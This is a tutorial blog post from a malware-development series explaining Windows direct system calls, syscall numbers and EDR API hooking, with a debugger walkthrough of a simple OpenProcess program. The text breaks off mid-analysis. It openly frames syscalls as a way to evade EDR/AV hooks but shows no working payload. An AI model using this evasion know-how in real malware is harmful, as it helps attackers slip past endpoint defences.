# Direct System Calls

<details>

<summary>Table of Contents</summary>

* [Prerequisites](#prerequisites)
* [Overview](#overview)
* [The Benefit of Syscalls](#the-benefit-of-syscalls)
* [System Call Numbers](#system-call-numbers)
  * [Reversing Our Program](#reversing-our-program)
    * [TEST, CMP, JNE, ZF Waltz](#test-cmp-jne-zf-waltz)
* [Dumping Syscall Numbers](#dumping-syscall-numbers)
* [Implementation](#implementation)&#x20;
  * [The Assembly Portion](#the-assembly-portion)
  * [The Normal Portion](#the-normal-portion)
* [Dynamic Syscall Retrieval](#dynamic-syscall-retrieval)
* [SysWhispers](#syswhispers)
* [References](#references)

</details>

## Prerequisites

This blog entry is the next logical progression of our malware development series. This post assumes that you're already comfortable with WinAPI and aware of some NTAPIs exported from `ntdll.dll`. Hopefully, you've gone ahead and tinkered with some of these topics as we've already done below:

{% embed url="<https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection>" %}
Exhibit I
{% endembed %}

{% embed url="<https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection/complete-ntapi-implementation>" %}
Exhibit II
{% endembed %}

## Overview

In the last blog post, we talked about the process - rather, the "*flow path*" that a typical WinAPI function (like `WriteFile`, `CreateFile`, etc.) will take from "user-land" all the way down to "kernel-land." So naturally, let's shimmy down a *tiny* step lower and look at what actually happens to our functions when we reach that threshold to the kernel-space. Furthermore, we'll see how we might be able to leverage these *system calls* for our purposes as malware developers. Let's revisit this picture from the [previous blog](https://www.crow.rip/nest/mal/dev/ntapi-injection#function-flow) to get a better idea of what we're about to talk about:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FtZurp105RDQPhyumWMVF%2Fimage.png?alt=media&#x26;token=3c464af9-044b-4e70-8791-7bbf446b0a75" alt=""><figcaption><p><code>WriteFile</code> flow path from <a href="https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/8aa60d1d-3efa-48bf-8fdc-2e3028b0401e.xhtml">O'Reilly</a></p></figcaption></figure>

When `WriteFile` makes its trek down the user-space, it resolves into a lower, less-abstracted function which, along with many other functions (prefixed with `Nt`/`Zw`), is exported from `ntdll.dll`. For `WriteFile`, its NTAPI counterpart from `ntdll.dll` is called `NtWriteFile`. Then, it crosses over to the kernel-space using the `SYSENTER` or `SYSCALL` instructions.&#x20;

{% hint style="info" %}
To get a grasp of the differences between the different syscall instructions, read [this](https://reverseengineering.stackexchange.com/questions/16454/struggling-between-syscall-or-sysenter-windows).
{% endhint %}

These syscalls allow us and our programs (which reside in the user-space) the ability to interface with the Kernel directly. Since we, as user-space residents can't operate in the Kernel, we need these intermediaries/interfaces in order to (indirectly) do it for us. This is due to the fact that by design, our being able to do so would be in direct violation of the "[Principle of Least Privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) (PoLP)" that gives rise to the protection rings that are the foundation of our modern operating systems:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F8RWWsjozHvj5F3cDnuRL%2Fimage.png?alt=media&#x26;token=5c9ef29b-48bb-4ddb-8b5f-db947dd4ed5d" alt="" width="332"><figcaption><p>Privilege Rings</p></figcaption></figure>

Of course, by now, you should already know what these rings are, where/when they're used, and their features/privileges. This is great and all but I still have to sell you the idea of actually using syscalls. So far, we haven't really seen any useful cases/scenarios in which a syscall should be used over what we've already been doing with the NTAPI.

## The Benefit of Syscalls

You might be thinking, "crow, aside from removing *yet another* abstraction, what's the point of using syscalls when the NTAPI was serving us so well?" Well, typically, the lower you go the more fine-tunability and control you're given for your programs. However, using syscalls directly is most fruitful in cases where pesky EDRs/AVs have **hooked** our functions. I won't get *too* in-depth about API Hooking because that topic deserves a blog post all on its own but here's a quick rundown:

**API Hooking** is *one* of the techniques used by defensive solutions - like EDRs/AVs, that monitors and intercepts calls to commonly abused APIs (such as `CreateRemoteThreadEx`, `NtAllocateVirtualMemory`, et cetera); as well as the arguments supplied to them, and redirects the execution flow of a function. Typically, hooks are implemented using **trampolines** or **inline hooking** (again, we'll get into these in another blog post). Generally, in order to do all of this, an EDR will load/inject its own DLL into a process:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FVNq5PlWT1UlJmXica8tB%2Fimage.png?alt=media&#x26;token=5fc5772c-9f71-4e47-805b-82dcc8b2ec5f" alt=""><figcaption><p>Pseudo-example of an EDR injecting into malware</p></figcaption></figure>

The way these hooks actually change the execution flow of the function is by replacing the first five (`5`) bytes of the function with an unconditional `jmp` instruction (meaning that no matter what, when the instruction is reached, it *will* jump to the address specified). Observe the following image, it shows a typical (unhooked) function and a hooked one:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fz7hMjVdO45Pq1FXEB6Qv%2Fimage.png?alt=media&#x26;token=3a4f8a44-7319-4288-a061-0d0b2675fff6" alt=""><figcaption><p>Hooked API vs Normal API from <a href="https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions">ired.team</a></p></figcaption></figure>

This is done in an attempt to monitor which APIs are being called, in what order, what arguments are being supplied to them, etc. However, because we know that hooked syscalls begin with the opcodes: `e9 0f 64 f8`, it makes it pretty trivial to find hooked functions by checking to see if the first couple of bytes are `e9 0f 64 f8` or not. So, instead of calling a function like `NtWriteVirutalMemory` and risk having our function and its arguments redirected and examined by those EDRs, we could just issue out the syscall ourselves - since defensive solutions *can't* really hook the invocation of a system call instruction (don't celebrate too early, it's still pretty easy for them to detect it).

{% hint style="danger" %}
Direct syscalls aren't EDR/AV-bypassing magic spells. It's still really easy for defensive solutions to figure out that something malicious is going on. Why would a normal, boring, unassuming-ass program need to invoke `syscall`, `sysenter`, `int 2eh` inside of it? We'll go into more depth about this in a [later module](https://www.crow.rip/crows-nest/mal/dev/inject/syscalls/indirect-syscalls), but an EDR can see if a syscall originated from your program or if it had a natural progression as one would expect down to a syscall. So, don't be fooled - syscalls are cool and all, but we'll still need to put in some elbow grease.
{% endhint %}

Anyways, it's time to move on to the "identifiers" of these syscalls, i.e., the syscall numbers. If you want an easy-to-follow video that reiterates what's been said above, I'd urge you to watch the following:

{% embed url="<https://www.youtube.com/watch?v=SA96PakHrrE>" %}
What is Inline API Hooking?
{% endembed %}

## System Call Numbers

Before a syscall is invoked, a specific value that's specific to the function being called is put into the `eax` register. These identifying numbers are called **System Service Numbers** (SSNs). Because syscalls belong to the taboo-undocumented and low-level sector of Microsoft technology, it's important to note that these numbers aren't always the same for each build/version of Windows. A system call number *can* change (and without warning) - which is why Microsoft is so vehemently against us fiddling around with undocumented shit. The best way to understand what SSNs or "syscalls numbers" are is by taking a look at a *real* disassembled function. We'll start from the more abstracted Win32 API, and walk down until we finally get to the syscall stub. Let's consider the following code:

```c
#include <windows.h>
#include <stdio.h>

int main(int argc, char **argv) {

	if (argc < 2) {
		puts("usage: handles.exe <PID>");
		return -1;
	}

	DWORD PID = atoi(argv[1]);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

	if (hProcess == NULL) {
		printf("[OpenProcess] failed, error: 0x%lx", GetLastError());
		return -1;
	}

	printf("[%p] got a handle to the process!", hProcess);
	CloseHandle(hProcess);
	(void)getchar();
	return 0;
}
```

It's a *very simple* program that'll just get a handle on a process with a supplied PID. If we open this up in a debugger, like [`x64dbg`](https://x64dbg.com/), we'll see the symbols present in this program, as well as the modules from which we're importing said symbols from.&#x20;

***

{% hint style="info" %}
The following section isn't necessary. You can very easily just look into each subsequent module for the functions you're looking for within `x64dbg` or any other debugger. In other words, instead of finding our `main` function, seeing a call to `kernel32!OpenProcess` -> `kernelbase!OpenProcess` -> `ntdll!NtOpenProcess`, etc., you can just look within the symbols tab, and select the module you want (`ntdll`), and find the function (`NtOpenProcess`) there if you search for it.\
\
I'm just showing this off to start building up our reverse engineering skills little by little. If you want to look at the syscalls right away without all this mumbo-jumbo, then see the images below.
{% endhint %}

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fym2QU99jVhQCdg5qYXAg%2Fimage.png?alt=media&#x26;token=943fa561-7cec-4500-a100-aaeae8359939" alt=""><figcaption><p>Selecting <code>ntdll.dll</code></p></figcaption></figure>

Then, we search for the `NTAPI` that we want to disassemble, in this case, we'll do `NtOpenProcess`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FAlPUG8JGocpgPb2dlqEE%2Fimage.png?alt=media&#x26;token=52209a35-9f82-4349-91d2-023d6e5e7259" alt=""><figcaption><p>Searching for <code>NtOpenProcess</code> inside of <code>ntdll.dll</code></p></figcaption></figure>

After finding the function we want, we can double-click on it and we'll see the syscall stub for the function:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fe1PdTFl59bhn3zgSS0zn%2Fimage.png?alt=media&#x26;token=7a485584-fc01-4b40-a391-8fa684ba3f6e" alt=""><figcaption><p>Syscall stub for <code>NtOpenProcess</code></p></figcaption></figure>

And there you go! It's as simple as that. If you want to get a more "reverse-engineer-y" perspective, then please read on! Otherwise, click [here](#dumping-syscall-numbers) to move on to the next section, if you're already familiar with syscall stubs and such.

***

### Reversing Our Program

After opening up our program in the debugger, we can look for the `handles.exe` "module" and in the symbols pane, we can search for "`main`" to find the core logic behind our program.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FpaqIEgsRog7VD8zkGSJj%2Fimage.png?alt=media&#x26;token=c67fa154-93d1-4ff4-9b02-415efedb071e" alt=""><figcaption><p>Selecting our <code>handles.exe</code></p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FsTqsEcUH3JjXJjaUidf2%2Fimage.png?alt=media&#x26;token=d8db6a71-7b3b-48f4-a0b3-c1e699ee3f9c" alt=""><figcaption><p>The <code>main</code> function our program in the symbol window</p></figcaption></figure>

If we select this, we'll see the following in the debugger:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FPowDfldkbpdSJN9bklhe%2Fimage.png?alt=media&#x26;token=e75bd916-2ef5-46a7-a896-fa2f8d7220f8" alt=""><figcaption><p>The disassembly of our <code>main</code> function</p></figcaption></figure>

To see this in a more "manageable" way, we can enter the "graph" view by pressing the `g` key:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F06UK4UoaHki1rlO7AgEi%2Fmain%20logic.png?alt=media&#x26;token=4b4c5349-0fe3-4005-bc00-10654bac11b7" alt=""><figcaption><p>Disassembled <code>main</code> function in graph view (click to zoom)</p></figcaption></figure>

Since we're targeting `OpenProcess` and its lower-level `NTAPI` counterpart, we'll go to the section where that function resides to see what's happening.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fp9QJOQ9t966WQ2N2Dlkm%2Fimage.png?alt=media&#x26;token=7abe8e9e-58cd-448a-8acf-a258a2d4884e" alt=""><figcaption><p>Call to <code>OpenProcess</code> in our program</p></figcaption></figure>

If we press `g` again to go into the text view, and hover on the `call qword ptr ds:[<&OpenProcess>]` line, we can see the see that our call to `OpenProcess` resolves to the `OpenProcess` from `Kernel32` being called:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FHBqvUdAEHNzyDPyhO8YE%2Fimage.png?alt=media&#x26;token=9401f4f2-ccba-4196-b8ad-026f2279f1ed" alt=""><figcaption><p><code>OpenProcess</code> and arguments</p></figcaption></figure>

Before checking out what the `OpenProcess` in `Kernel32` does, we can see the arguments for our `OpenProcess` function right above the call to the function. If you can recall, we very briefly covered "[calling conventions](https://en.wikipedia.org/wiki/Calling_convention)" in the [DLL Injection](https://www.crow.rip/crows-nest/malware-development/process-injection/dll-injection) post. In it, we mentioned how the Windows API uses the `__stdcall` calling convention.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FOuInSZ6XKenwYloIglPL%2Fimage.png?alt=media&#x26;token=96e24d0e-09e8-4daa-8347-d2762b1daf48" alt=""><figcaption><p><code>__stdcall</code> description from <a href="https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170">MSDN</a></p></figcaption></figure>

Just below this paragraph, we can see a really useful table that shows us the particularities of the `__stdcall` calling convention:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F2Fx9CZkH7YDHIBykFQLO%2Fimage.png?alt=media&#x26;token=b5b1fddc-ff12-4b86-abca-69b043c4ec13" alt=""><figcaption><p><code>__stdcall</code> element and implementation table</p></figcaption></figure>

You can read more about this calling convention below:

{% embed url="<https://learn.microsoft.com/en-us/cpp/cpp/stdcall?view=msvc-170>" %}
`__stdcall`
{% endembed %}

From the table above, we can see that in the `__stdcall` calling convention, our arguments are passed right to left and the called function cleans up after itself by popping its own arguments from the stack. Looking at our `OpenProcess` function, as well as the arguments, we should expect to see the arguments passed on the stack from right to left, as seen in the image below:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FzqYsBBDJ8kofEBprnt57%2Fimage.png?alt=media&#x26;token=7a9a3d4a-9930-4457-b179-bec1b8ae2856" alt=""><figcaption><p>Expected argument layout from <code>__stdcall</code></p></figcaption></figure>

And indeed, if we look at the disassembly, we can see that it *does* follow this convention. We expect to see the `dwProcessId` first, followed by `bInheritHandle`, and lastly, the `dwDesiredAccess`:&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FK5KZBdwCib37kuf234Vr%2Fimage.png?alt=media&#x26;token=23171431-f74f-447d-8bbf-9a904646cc12" alt=""><figcaption><p>Arguments match what's expected!</p></figcaption></figure>

Also, please don't limit yourself to one debugger. It's very fun (*in my opinion*) to see what this might look like in *another* debugger. For example, let's look at `OpenProcess` in yet *another* debugger, WinDbg. We can see the same thing (although note that this is a `x86` version of the `handles.exe` program)!

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FaqRRlIy4SaCwZDcdxL5w%2Fimage.png?alt=media&#x26;token=b9d5d726-6c0f-4c0f-a99b-8d60c23a0bfc" alt=""><figcaption><p><code>OpenProcess</code> with arguments in WinDbg</p></figcaption></figure>

Let's quickly take a moment to understand *the assembly* just to make sure that what we have there are actually the arguments. Starting with the first argument (in the disassembly view, that is) `dwProcessId`. We can see that it gets its value from `ss:[rbp+4]` and places it in the lower `DWORD` of the `r8` register (which is denoted by the "d" suffix in "`r8d`", read more [here](https://stackoverflow.com/a/70051539)):

```nasm
mov r8d, dword ptr ss:[rbp+4]
```

If we set a breakpoint on this instruction (also making sure to supply a CLI argument (`File > Change Command Line > "c:\path\to\program.exe" <PID>`) to the PID of the process we want to get a handle on, in my case, I'm just gonna target a simple notepad) and run the program by hitting this icon at the top:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FcjGtacYD3wfSoT2sXpNd%2Fimage.png?alt=media&#x26;token=0ae433fe-8b81-43a6-8a1f-02d0c40d9226" alt=""><figcaption><p>Run</p></figcaption></figure>

Or entering in `g`/`go` in the command box section at the bottom. We can see that once we hit the breakpoint on this instruction:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Ft1e07AxGFToZDPIgAReA%2Fimage.png?alt=media&#x26;token=93525b19-9f31-4fb1-99f4-f84a07fd0a03" alt=""><figcaption><p>Breakpoint hit</p></figcaption></figure>

The `r8` register (which is going to eventually hold our target's PID), isn't set to anything resembling our supplied PID:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F0S8Xm3ONFbWKlSrCrZrm%2Fimage.png?alt=media&#x26;token=763bed82-9f07-43af-b214-9186b699d22a" alt=""><figcaption><p>PIDちゃん、どこですか？</p></figcaption></figure>

After stepping a single instruction (`sti`/`StepInto` in the command box), just so the `mov r8d, dword ptr ss:[rbp+4]` instruction has actually been executed, we can see that the `r8` register *does* update to a new value:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FYhWl1d2jDx64PDVtvD9T%2Fimage.png?alt=media&#x26;token=edfa0d20-f36a-4741-9f0e-e80608885cb0" alt=""><figcaption><p><code>r8: 0000000000004788</code></p></figcaption></figure>

This value "`0x4788`", is actually our PID! All we have to do is convert this to decimal to see it:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FmqHucUJvKdsCRNi5s6TY%2Fimage.png?alt=media&#x26;token=ba340f0c-7697-40ce-9f3d-a7aab29e5dbb" alt=""><figcaption><p><code>r8</code> holds our PID!</p></figcaption></figure>

Okay, so the `dwProcessId` argument is in the right place with the right value. Let's move on to `bInheritHandle`. We've set this to `FALSE` in our code:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F10t5iCaMR3N4h5joShzi%2Fimage.png?alt=media&#x26;token=8ffd4581-c733-449a-bc36-a25afd32d4ce" alt=""><figcaption><p><code>bInheritHandle</code> set to <code>FALSE</code> (<code>0</code>)</p></figcaption></figure>

And, as we know, if we `XOR` something against itself, it'll just be `0`. And, that's definitely happening here:

```nasm
xor edx, edx
```

We can see this reflected here in the `RDX` register as well, after stepping a single instruction:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fh25tkzRW5VMxojxeiPN0%2Fimage.png?alt=media&#x26;token=6f43fb09-12c1-436f-b5b8-f95c9034df2b" alt=""><figcaption><p><code>RDX</code> = <code>0</code></p></figcaption></figure>

Lastly, we have the `dwDesiredAccess`. In the code, we've set this to the "`PROCESS_ALL_ACCESS`" access right, which is the value (`0x1FFFFF`):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fuk7sMfxUMA7VAuhgVFxw%2Fimage.png?alt=media&#x26;token=30a6bb25-d704-4207-bed8-e31ff2dc45db" alt=""><figcaption><p><code>PROCESS_ALL_ACCESS</code> value from <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">MSDN</a></p></figcaption></figure>

These individual rights, when added up (`0x000F0000L` + `0x00100000L` + `0xFFFF`) equals to `0x1FFFFF`.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fa9c1nvWTDozCv5E8VI1Y%2Fimage.png?alt=media&#x26;token=647611e1-43a4-424d-9910-7b2193e824a4" alt=""><figcaption><p><code>PROCESS_ALL_ACCESS</code> (<code>0x1FFFFF</code>)</p></figcaption></figure>

This is definitely the value we see right before the call to our `OpenProcess` function, and we'll see that this value gets put into the `RCX` register as well before the call to `OpenProcess`.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FfAnwyzsAVQkW95a42l7N%2Fimage.png?alt=media&#x26;token=3436df56-8dc4-4b8d-b473-c587a09a46ba" alt=""><figcaption><p><code>dwDesiredAccess</code> value</p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FywjpLBu7viwW42EkLMaQ%2Fimage.png?alt=media&#x26;token=c1cb4430-4232-4baf-b2e4-1745d3d3e1c9" alt=""><figcaption><p><code>RCX</code> = <code>PROCESS_ALL_ACCESS</code> (<code>0x1FFFFF</code>)</p></figcaption></figure>

Let's finally inspect the call to the `OpenProcess` instruction. We know from previous posts that pretty much all of the WinAPI functions we've used to this point have been exported from a library called `Kernel32`. If we double-click on this `OpenProcess` symbol from the disassembly, we'll see the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F5HzU3DiP6iazMXzcrWvb%2Fimage.png?alt=media&#x26;token=3136b3bd-7c82-4af9-b52c-5bd3efc0dbf9" alt=""><figcaption><p>Our <code>OpenProcess</code> resolving to <code>kernel32!OpenProcess</code></p></figcaption></figure>

Our function gets resolved into the `OpenProcess` that's exported from `Kernel32`. Double-clicking this and then going into graph-view, we can see:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FWS8bgeRyNSlHrrtZbBfW%2Fk32.png?alt=media&#x26;token=1dcfb6ec-f82f-41aa-a8b8-1cadcda2fe6d" alt=""><figcaption><p><code>OpenProcess</code> from <code>Kernel32</code></p></figcaption></figure>

It's evident now that whenever we call certain functions that are exported by a library like `Kernel32`, as seen from the code, our function doesn't run right away. In a [previous blog post](https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection#function-flow), we talked about this behaviour; how our function actually gets its' functionality from `kernelbase.dll` and how there's this little proxy-footsie dance going on. A quote from the previous blog:

> So this begs the question then, what the hell is that `KERNELBASE.dll` thing and where did it come from? `KERNELBASE` was made by Microsoft to act as a sort of "proxy" for your API calls. If we look at the documentation, we can see it being discussed here:
>
> \
> "*As an example of functionality that we moved to low-level binaries, `kernelbase.dll` gets functionality from `kernel32.dll` and `advapi32.dll`. <mark style="background-color:orange;">This means that the existing binary now forwards calls down to the new binary rather than handling them directly...</mark>*"&#x20;

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/win7appqual/new-low-level-binaries>" %}
Read more [here](https://learn.microsoft.com/en-us/windows/win32/win7appqual/new-low-level-binaries)
{% endembed %}

The point is, when we call `OpenProcess` from our code, the journey has *just* begun. If we look at where the `<kernel32.OpenProcess>` section is jumping to, we can see that it goes to the `OpenProcess` inside of `kernelbase.dll`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FVS2v2dK4Ysi3USRTMwp3%2Fimage.png?alt=media&#x26;token=65bd983c-9c8d-43a4-acef-e2a01930f5f8" alt=""><figcaption><p>Contents of <code>OpenProcess</code> in <code>kernelbase</code></p></figcaption></figure>

We can double-click this and graph view this as well to get a better picture of what's happening here:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FXA0KiIojJqzI5c03ie3H%2Fkbase.png?alt=media&#x26;token=08400c9b-c6a7-4ce3-ba99-9d3532b1ba90" alt=""><figcaption><p>Graph of <code>OpenProcess</code> in <code>kernelbase</code></p></figcaption></figure>

We're almost inside the syscall section. From `kernelbase.dll`, we can see that there's yet another call to a function, more specifically, we're calling the lower-level `NTAPI` exported from `ntdll.dll`: `NtOpenProcess`. You can see this in the line `call qword ptr ds:[<`**`NtOpenProcess`**`>]`

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FT9Xc63ibFLpXj8AJzQMB%2Fimage.png?alt=media&#x26;token=29eab417-4217-4586-8cf8-6ae3bb6dd8af" alt=""><figcaption><p>Contents of <code>NtOpenProcess</code></p></figcaption></figure>

Finally, let's once again see the graph view of this (the "text" view is sufficient in understanding the workings of the syscall stubs, it's just with a graph, it's a *bit* easier to see the flow when it comes to jumps - especially if you're newer to the whole reversing-practice).

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fli4QPv0vLN3R2bXaBskI%2Fsys.png?alt=media&#x26;token=3c8fac1b-de64-4da9-a344-a55e623d8d3f" alt=""><figcaption><p>Syscall stub of <code>NtOpenProcess</code></p></figcaption></figure>

The most important part to pay attention to from this syscall stub is the following instruction:

```nasm
mov eax, 26 ; SSN
```

The value "`0x26`" is the syscall number. This is the number associated with the `NtOpenProcess` function. After moving the syscall number into the `eax` register, there's a `test byte ptr ds:[7FFE0308],1` instruction to determine if the `syscall` instruction is to be used or if the `int 2E` instruction is to be used. The `int 2E` instruction was used in 32-bit Windows to enter kernel-mode, hence the "*legacy* syscall instruction."&#x20;

> "*The system call dispatcher on x86 NT has undergone several revisions over the years. Until recently, the primary method used to make system calls was the int 2e instruction (software interrupt, vector 0x2e). This is a fairly quick way to enter CPL 0 (kernel mode), and it is backwards compatible with all 32-bit capable x86 processors. With Windows XP, the mainstream mechanism used to do system calls changed; From this point forward, the operating system selects a more optimized kernel transition mechanism based on your processor type. Pentium II and later processors will instead use the sysenter instruction, which is a more efficient mechanism of switching to CPL 0 (kernel mode), as it dispenses with some needless (in this case) overhead of usual interrupt dispatching.*" - [Nynaeve](http://www.nynaeve.net/?cat=4\&paged=6)

You might be wondering what that `0x7FFE0308` address is. In Windows, there's a structure called `KUSER_SHARED_DATA` which as the legendary Geoff Chappell mentions in [his post](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi_x/kuser_shared_data/index.htm), "The \[...] address for the shared data \[structure] is `0x7FFE0000`, both in 32-bit and 64-bit Windows." This structure is incredibly important when it comes to Windows Internals and for us as malware developers.&#x20;

> "*The `KUSER_SHARED_DATA` structure defines the layout of a data area that the kernel places at a pre-set address for sharing with user-mode software. The original intention seems to have been to enable user-mode software to get frequently needed global data, notably the time, without the overhead of calling kernel mode.*" - [Geoff Chappell](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi_x/kuser_shared_data/index.htm)

If we dump this structure and take a look at some of its members, we can see what's being tested in that `test byte ptr ds:[7FFE0308],1` line.

<pre class="language-nasm"><code class="lang-nasm">0:000> dt ntdll!_KUSER_SHARED_DATA 0x7FFE0000
   +0x000 TickCountLowDeprecated : 0
   +0x004 TickCountMultiplier : 0xfa00000
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   +0x020 TimeZoneBias     : _KSYSTEM_TIME
   +0x02c ImageNumberLow   : 0x8664
 [...]
   +0x2f8 TestRetInstruction : 0xc3
   +0x300 QpcFrequency     : 0n10000000
<strong>   +0x308 SystemCall       : 0              ; 7FFE0308
</strong>   +0x30c Reserved2        : 0
   +0x310 SystemCallPad    : [2] 0
   +0x320 TickCount        : _KSYSTEM_TIME
   +0x320 TickCountQuad    : 0x6f74bb
   +0x350 BaselineInterruptTimeQpc : 0x00000109`bb6c758a
[...]
   +0x3c8 TimeZoneBiasEffectiveStart : _LARGE_INTEGER 0x01d9da15`f5332463
   +0x3d0 TimeZoneBiasEffectiveEnd : _LARGE_INTEGER 0x01da0fad`4f987000
   +0x3d8 XState           : _XSTATE_CONFIGURATION
   +0x710 FeatureConfigurationChangeStamp : _KSYSTEM_TIME
   +0x71c Spare            : 0
</code></pre>

We can see that the `SystemCall` member resides at the offset of `0x308`. So, the `test byte ptr ds:[7FFE0308],1` instruction is testing (performing a bitwise AND operation) to see if the bit at the address `0x7FFE0308` (`KUSER_SHARED_DATA->SystemCall`) is set to `1` or not. On my machine, we can see that it's `0`:

```nasm
0:000> db 0x7FFE0308 L1
00000000`7ffe0308  00  
```

Originally, when I was first trying to understand the flow of this stub, I was pretty confused since my `KUSER_SHARED_DATA->SystemCall` was set to `0` and I had thought that the `int 2Eh` branch would be trigged. I had assumed that the flow would look something like:

```nasm
00007FFE4F5CD4C8 | F60425 0803FE7F 01   test byte ptr ds:[7FFE0308],1
